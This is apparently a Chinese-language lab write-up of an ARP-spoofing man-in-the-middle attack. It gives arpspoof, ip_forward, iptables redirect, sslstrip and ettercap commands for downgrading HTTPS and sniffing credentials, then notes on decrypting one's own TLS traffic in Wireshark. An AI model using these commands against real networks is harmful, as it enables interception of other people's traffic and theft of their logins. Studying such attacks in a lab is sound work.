目标IP: 192.168.0.38
kaliIP: 192.168.0.94
网关IP: 192.168.0.1
1.对目标进行ARP攻击
arpspoof -i eth0 -t 192.168.0.38 192.168.0.1
2.对目标进行ARP欺骗
echo 1 >> /proc/sys/net/ipv4/ip_forward
3.修改配置文件
vim /etc/ettercap/etter.conf
这里两个配置都要取消注释,不然无法打开ettercap(这里不去动配置文件也可以直接打开但无法使用iptables相关指令)
4.使用sslstrip进行https降级
攻击原理
攻击者利用用户对于地址栏中HTTPS与HTTP的疏忽,将所有的HTTPS连接都用HTTP来代替。同时,与目标服务器建立正常的HTTPS连接。由于HTTP通信是没有经过加密传输的,并没有HTTPS安全,所以攻击者能轻松实施嗅探。 1. 通过中间人攻击监听 http 流量 2. 更改重定向链接中的 location,替换 https 为 http,并记录 3. 更改响应内容中的超链接,替换 https 为 http,并记录 4. 与用户进行 http 通信,与服务器进行 https 通信(记录中本应是 https 的请求),从而明文获取用户信息 Tips: 当用户浏览的网页中包含https协议,会被转化为http协议的请求 但是sslstrip也不是万能的, 假如网页中没有https, 但是js代码绑定了跳转到https的协议请求的事件,那么sslstrip就失效了
安装sslstrip
apt install sslstrip
使用iptables将80端口数据转发到sslstrip监听端口
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000(监听端口)
如果攻击完成后要删除这条记录可以输入命令
iptables -t nat -D PREROUTING 1
查看 ip 转发表: iptables -t nat -L
sslstrip的使用
-w <文件名>,–write = <文件名>指定要登录的文件(可选)。 -p,–post仅记录SSL POST。(默认) -s,–ssl记录往返服务器的所有SSL流量。 -a,–all记录往返服务器的所有SSL和HTTP通信。 -l <端口>,–listen = <端口>用于侦听的端口(默认为10000)。 -f,–favicon根据安全请求替换锁图标。 -k,–killsessions终止正在进行的会话。 -h 打印此帮助消息。 查看端口占用lsof -i tcp:10000 启动:
sslstrip -a -k -f -l 10000
使用ettercap进行嗅探
ettercap -Tq -i eth0
这里出现了问题,http能够正常嗅探,但https尝试了各个网站都无返回值,查看sslstrip.log发现出现报错,应该是https降级失败,这里告诉我说主机解析失败,这个实例应该是一个字节而不是字符串,但我并不能从它的报错信息中找到具体出错位置,各位大神有解决办法还望告知小弟
wirshark抓取https
上面ettercap因为https降级失败我尝试使用wirshark抓取数据包,但https发现只有返回包没有请求包,wirshark在默认情况下是抓不到https请求包的,下面是使用wirshark抓取https请求包的方法
1.建立ssl_key\sslog.log文件
2.添加系统环境变量
变量名称:SSLKEYLOGFILE
变量值:C:\ssl_key\sslog.log
3.配置wirshark
ctrl+shift+P打开配置文件
选择protocols中的TLS,将日志文件放入其中(老版本的wirshark可能为SSL)
重启浏览器就可以抓到https的请求包了
wirshark抓取https原理
(1)客户端每次通信的时候都会随机生成一个私钥和服务器通信
(2)Wireshark 不知道不知道客户端/服务器私钥,所以无法解密 https 传输的数据包。
(3)某些浏览器如 Firefox 和 Chrome 支持将 TLS 会话中使用的客户端私钥/服务器端公钥用日记文件的方式记录下来,这样就可供 Wireshark 加密/解密使用